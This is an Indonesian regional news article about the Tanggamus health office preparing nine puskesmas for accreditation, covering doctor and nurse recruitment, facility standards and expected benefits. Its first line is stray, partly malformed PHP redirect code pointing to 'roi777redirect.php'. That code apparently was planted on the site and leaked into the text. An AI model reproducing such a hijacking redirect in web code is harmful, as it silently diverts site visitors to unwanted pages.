header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Tiga Puskesmas Berakreditasi Dasar, Enam Menyusul -
Tiga Puskesmas Berakreditasi Dasar, Enam Menyusul

TRANSLAMPUNG.COM, KOTAAGUNG-Dinas Kesehatan (Diskes) Tanggamus mempersiapkan sembilan pusat kesehatan masyarakat (puskesmas) untuk dapatkan akreditasi. Penilaian akreditasi dilakukan oleh lembaga eksternal di luar tim kesehatan daerah, jika yang selama ini dilakukan oleh tim dari pusat.

Kepala Diskes Tanggamus mengatakan, akreditasi merupakan pengakuan yang diberikan untuk kesesuaian proses operasional dengan standar yang berlaku. Tujuannya untuk peningkatan pelayanan, selain itu agar puskesmas bisa bersaing dengan sarana kesehatan swasta.

“Target kami sembilan puskesmas pada akhir tahun ini bisa diajukan untuk penilaian akreditasi. Maka sejak sekarang kami sudah mulai mempersiapkan hal itu. Saat ini, sudah tiga puskesmas, yaitu Talangpadang, Gisting, dan Kotaagung yang sudah memiliki akreditasi dasar. Sementara enam puskesmas lainnya masih dalam tahap penilaian,” ujar Sukisno, kemarin (20/2).

Ia menambahkan, akreditasi yang utamanya terkait dengan pelayanan kesehatan, lalu kepemimpinan dan manajemen puskesmas. Dalam akreditasi diharuskan memberikan pelayanan publik yang berkualitas dan mampu memberikan kepuasan bagi masyarakat. Hal ini untuk memenuhi tuntutan birokrasi dan juga memenuhi standar kualitas kesehatan.

“Sekarang ini memang dituntut puskesmas dan sarana kesehatan milik pemerintah, harus terakreditasi. Mulai dari puskesmas induk, puskesmas rawat inap, dan juga rumah sakit,” terang Sukisno.

Sembilan puskesmas yang disiapkan untuk penilaian akreditasi, di antaranya Puskesmas Sudimoro di Kecamatan Wonosobo, Puskesmas Margoyoso di Kecamatan Sumberejo, Puskesmas Kecamatan Pulaupanggung, Puskesmas Kecamatan Airnaningan, Puskesmas Ngarip di Kecamatan Ulubelu, Puskesmas Rantautijang dan Puskesmas Sumanda di Kecamatan Pugung, dan Puskesmas Kecamatan Bulok. Semua itu ada yang puskesmas induk dan puskesmas rawat inap. Kemudian ada yang puskesmas baru dan puskesmas yang sudah lama. Sebab semuanya memang harus akreditasi.

“Untuk akreditasi memang dilakukan bertahap tidak bisa sekaligus. Hal ini karena program baru dan ketika di lapangan memang butuh kesiapan. Selama ini puskesmas yang diajukan akreditasi baru tiga, yakni Talangpadang, Gisting, dan Kotaagung,” jelas Sukisno.

Kesiapan yang dilakukan sekarang ini di antaranya membuka rekrutmen dokter dengan status pegawai tidak tetap dan tenaga medis. Sebab untuk standar puskesmas rawat inap minimal harus ada dua dokter umum, dan kebanyakan di Tanggamus baru satu dokter sebab dulunya dari puskesmas induk. Kemudian penambahan perawat minimal empat orang, lalu apoteker.

Tenaga lainnya yang disiapkan adalah tenaga administrasi. Selain itu perlu juga pembinaan kepada puskesmas sebab jika sudah akreditasi harus miliki program kesehatan bagi lingkungan di wilayah kewenangannya masing-masing.

“Kemudian terkait sarana di tiap puskesmas juga harus lebih bagus dari mulai kondisi bangunan, peralatan, kelengkapan peralatan, obat-obatan, sampai pada kebersihannya. Jadi akreditasi puskesmas menjadikan puskesmas lebih baik lagi, bukan saja soal kesehatan tapi juga menejemen dan targetnya pun membuat puskesmas menjadi mandiri,” terang Sukisno.

Apabila puskesmas mendapatkan akreditasi manfaatnya adalah memberikan keunggulan kompetitif, memperkuat kepercayaan masyarakat terhadap fasilitas kesehatan pemerintah, menjamin tersedianya pelayanan primer atau dasar, meningkatkan kerjasama tim di puskesmas masing-masing, meningkatkan pelayanan risiko pelayanan kesehatan, dan meningkatkan keamanan dalam bekerja.(ayp)

News Reporter